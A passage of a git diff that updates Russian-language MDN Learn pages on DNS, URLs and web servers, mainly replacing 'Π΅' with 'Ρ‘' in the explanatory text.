Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ сСрвСр снова). БоотвСтствСнно, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π±Π°Π· Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ врСмя, ΠΏΠΎΠΊΠ° информация ΠΎ Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½Π°Ρ… распространяСтся ΠΏΠΎ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π­Ρ‚ΠΎ врСмя часто называСтся <strong>врСмя распространСния</strong>. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ эта Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π° это врСмя Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ само сСбя Π½Π° всСх сСрвСрах свСрху Π΄ΠΎΠ½ΠΈΠ·Ρƒ. ΠžΡ‡Π΅Π½ΡŒ часто DNS-сСрвСр, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ вашим ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ Π½Π΅ Π·Π½Π°Π΅Ρ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΌΠ΅Π½Π° ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΎ Π½Ρ‘ΠΌ ΠΊΠΎΡ€Π½Π΅Π²Ρ‹Π΅ DNS-сСрвСра ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ трСбования.</p>
@@ -134,7 +134,7 @@ NOT FOUND
<h3 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_DNS-запрос">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ DNS-запрос?</h3>
-<p>Как ΠΌΡ‹ ΡƒΠΆΠ΅ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Π±-страница ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΠ»Π°ΡΡŒ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π»Π΅Π³Ρ‡Π΅ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя, Ρ‡Π΅ΠΌ IP-адрСс. Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ вСсь процСсс:</p>
+<p>Как ΠΌΡ‹ ΡƒΠΆΠ΅ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Π±-страница ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΠ»Π°ΡΡŒ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π»Π΅Π³Ρ‡Π΅ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя, Ρ‡Π΅ΠΌ IP-адрСс. Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ вСсь процСсс:</p>
<ol>
<li>НапСчатайтС <code>mozilla.org</code>Β Π² адрСсной строкС вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
diff --git a/files/ru/learn/common_questions/what_is_a_url/index.html b/files/ru/learn/common_questions/what_is_a_url/index.html
index 5c9716f463..dfa4941a67 100644
--- a/files/ru/learn/common_questions/what_is_a_url/index.html
+++ b/files/ru/learn/common_questions/what_is_a_url/index.html
@@ -33,7 +33,7 @@ original_slug: Learn/Understanding_URLs
<p>Наряду с понятиями <a href="/ru/docs/Glossary/Hypertext">гипСртСкста</a> ΠΈΒ <a href="/ru/docs/Glossary/HTTP">ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP</a>, понятиС <a href="ru/docs/Glossary/URL">URL</a> являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· основных ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ ВсСмирной ΠΏΠ°ΡƒΡ‚ΠΈΠ½Ρ‹. Π­Ρ‚ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ <a href="ru/docs/Glossary/Browser">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a> для получСния любого ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π²ΠΎ ВсСмирной сСти рСсурса.</p>
-<p><strong>URL</strong> ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <em>Uniform Resource Locator</em>. URL это лишь адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π΄Π°Π½ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ рСсурсу Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.Β Π’ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉ URL Π²Π΅Π΄Π΅Ρ‚ Π½Π° ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ рСсурс. Π’Π°ΠΊΠΈΠΌΠΈ рСсурсами ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ HTML-страница, CSS-Ρ„Π°ΠΉΠ», ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ‚.Π΄. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, URL Π²Π΅Π΄Π΅Ρ‚ Π½Π° рСсурс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ большС Π½Π΅ сущСствуСт ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ рСсурс, доступный ΠΏΠΎ URL, Π° Ρ‚Π°ΠΊΠΆΠ΅ сам URL ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π²Π΅Π±-сСрвСром, Π΅Π³ΠΎ Π²Π»Π°Π΄Π΅Π»Π΅Ρ† Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΌΠΈ рСсурсами ΠΈ связанными с Π½ΠΈΠΌΠΈ URL.</p>
+<p><strong>URL</strong> ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <em>Uniform Resource Locator</em>. URL это лишь адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π΄Π°Π½ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ рСсурсу Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.Β Π’ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉ URL Π²Π΅Π΄Ρ‘Ρ‚ Π½Π° ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ рСсурс. Π’Π°ΠΊΠΈΠΌΠΈ рСсурсами ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ HTML-страница, CSS-Ρ„Π°ΠΉΠ», ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ‚.Π΄. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, URL Π²Π΅Π΄Ρ‘Ρ‚ Π½Π° рСсурс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ большС Π½Π΅ сущСствуСт ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ рСсурс, доступный ΠΏΠΎ URL, Π° Ρ‚Π°ΠΊΠΆΠ΅ сам URL ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π²Π΅Π±-сСрвСром, Π΅Π³ΠΎ Π²Π»Π°Π΄Π΅Π»Π΅Ρ† Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΌΠΈ рСсурсами ΠΈ связанными с Π½ΠΈΠΌΠΈ URL.</p>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅</h2>
@@ -101,7 +101,7 @@ https://developer.mozilla.org/ru/search?q=URL</pre>
<p>Когда URL ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² HTML-страницС, ситуация отличаСтся. ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΡƒΠΆΠ΅ Π·Π½Π°Π΅Ρ‚ URL Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти свСдСния для дополнСния Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΡ… частСй любого адрСса, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ</em> URL - ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <em>адрСсной части</em> URL. А Ссли адрСс Π² URL начинаСтся с символа <code>"/</code>", Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ запросит рСсурс ΠΎΡ‚ корня сСрвСра, Π±Π΅Π· отсылки ΠΊ контСксту Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
-<p>Π Π°Π·Π±Π΅Ρ€Π΅ΠΌ это Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ….</p>
+<p>Π Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ это Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ….</p>
<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹_Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Ρ…_URL">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Ρ…Β URL</h4>
@@ -139,7 +139,7 @@ https://developer.mozilla.org/ru/search?q=URL</pre>
<dd>
<pre>../CSS/display</pre>
- <p>Π’ этом случаС, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ <code>../</code> Β β€” ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΈΠ· Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы UNIXΒ β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄Π½ΡΡ‚ΡŒΡΡ Π½Π° 1 Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ Π²Π²Π΅Ρ€Ρ…. БоотвСтствСнно, здСсь ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ URL: <code>https://developer.mozilla.org/ru/docs/Learn/../CSS/display</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½ Π΄ΠΎ Π²ΠΈΠ΄Π°: <code>https://developer.mozilla.org/ru/docs/CSS/display</code></p>
+ <p>Π’ этом случаС, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ <code>../</code> Β β€” ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΈΠ· Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы UNIXΒ β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄Π½ΡΡ‚ΡŒΡΡ Π½Π° 1 Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ Π²Π²Π΅Ρ€Ρ…. БоотвСтствСнно, здСсь ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ URL: <code>https://developer.mozilla.org/ru/docs/Learn/../CSS/display</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½ Π΄ΠΎ Π²ΠΈΠ΄Π°: <code>https://developer.mozilla.org/ru/docs/CSS/display</code></p>
</dd>
</dl>
@@ -158,5 +158,5 @@ https://developer.mozilla.org/ru/search?q=URL</pre>
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
<ul>
- <li><a href="/ru/docs/Learn/Understanding_domain_names">ПониманиС Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½</a></li>
+ <li><a href="/ru/docs/Learn/Understanding_domain_names">ПониманиС Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½</a></li>
</ul>
diff --git a/files/ru/learn/common_questions/what_is_a_web_server/index.html b/files/ru/learn/common_questions/what_is_a_web_server/index.html
index f2586aff5a..aedb2fffec 100644
--- a/files/ru/learn/common_questions/what_is_a_web_server/index.html
+++ b/files/ru/learn/common_questions/what_is_a_web_server/index.html
@@ -34,17 +34,17 @@ original_slug: Learn/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π²Π΅Π±_сСрвСр
<p>ΠŸΠΎΠ½ΡΡ‚ΠΈΠ΅ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>Π²Π΅Π±-сСрвСр<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΊ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠΉ Π½Π°Ρ‡ΠΈΠ½ΠΊΠ΅, Ρ‚Π°ΠΊ ΠΈ ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΌΡƒ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡Π΅Π½ΠΈΡŽ. Или Π΄Π°ΠΆΠ΅ ΠΊΒ ΠΎΠ±Π΅ΠΈΠΌ частям, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΌ совмСстно.</p>
<ol>
- <li>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния "ΠΆΠ΅Π»Π΅Π·Π°", <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>Π²Π΅Π±-сСрвСр<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> β€” это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…Ρ€Π°Π½ΠΈΡ‚ Ρ„Π°ΠΉΠ»Ρ‹ сайта (HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹, CSS-стили, JavaScript-Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈΒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅) ΠΈ доставляСт ΠΈΡ… Π½Π° устройство ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Ρ‚.Π΄.). Он ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ сСти Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Β ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн Ρ‡Π΅Ρ€Π΅Π·Β Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅Β <code>mozilla.org</code>.</li>
- <li>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ПО, <cite>Π²Π΅Π±-сСрвСр</cite> Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя нСсколько ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ доступ Π²Π΅Π±-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΌ Π½Π° сСрвСрС Ρ„Π°ΠΉΠ»Π°ΠΌ, ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ β€” это <em><cite>HTTP-сСрвСр</cite></em>. <cite>HTTP-сСрвСр</cite>Β β€” это Ρ‡Π°ΡΡ‚ΡŒ ПО, которая ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ {{Glossary("URL","URL-адрСса")}} (Π²Π΅Π±-адрСса) ΠΈ {{Glossary("HTTP")}} (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ для просмотра Π²Π΅Π±-страниц).</li>
+ <li>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния "ΠΆΠ΅Π»Π΅Π·Π°", <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>Π²Π΅Π±-сСрвСр<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> β€” это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…Ρ€Π°Π½ΠΈΡ‚ Ρ„Π°ΠΉΠ»Ρ‹ сайта (HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹, CSS-стили, JavaScript-Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈΒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅) ΠΈ доставляСт ΠΈΡ… Π½Π° устройство ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Ρ‚.Π΄.). Он ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ сСти Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Β ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн Ρ‡Π΅Ρ€Π΅Π·Β Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅Β <code>mozilla.org</code>.</li>
+ <li>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ПО, <cite>Π²Π΅Π±-сСрвСр</cite> Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя нСсколько ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ доступ Π²Π΅Π±-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΌ Π½Π° сСрвСрС Ρ„Π°ΠΉΠ»Π°ΠΌ, ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ β€” это <em><cite>HTTP-сСрвСр</cite></em>. <cite>HTTP-сСрвСр</cite>Β β€” это Ρ‡Π°ΡΡ‚ΡŒ ПО, которая ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ {{Glossary("URL","URL-адрСса")}} (Π²Π΅Π±-адрСса) ΠΈ {{Glossary("HTTP")}} (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ для просмотра Π²Π΅Π±-страниц).</li>
</ol>
-<p>На самом Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½ΡƒΠΆΠ΅Π½ Ρ„Π°ΠΉΠ», Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π½Π° Π²Π΅Π±-сСрвСрС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ Ρ‡Π΅Ρ€Π΅Π· HTTP-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Когда запрос достигаСт Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π²Π΅Π±-сСрвСра ("ΠΆΠ΅Π»Π΅Π·ΠΎ"), сСрвСр HTTP (ПО) ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ запрос, Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Β Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ (Ссли Π½Π΅Ρ‚, Ρ‚ΠΎ сообщаСт об ошибкС <a href="/ru/docs/Web/HTTP/Status/404">404</a>)Β ΠΈ отправляСт ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, Ρ‚Π°ΠΊΠΆΠ΅ Ρ‡Π΅Ρ€Π΅Π· HTTP.</p>
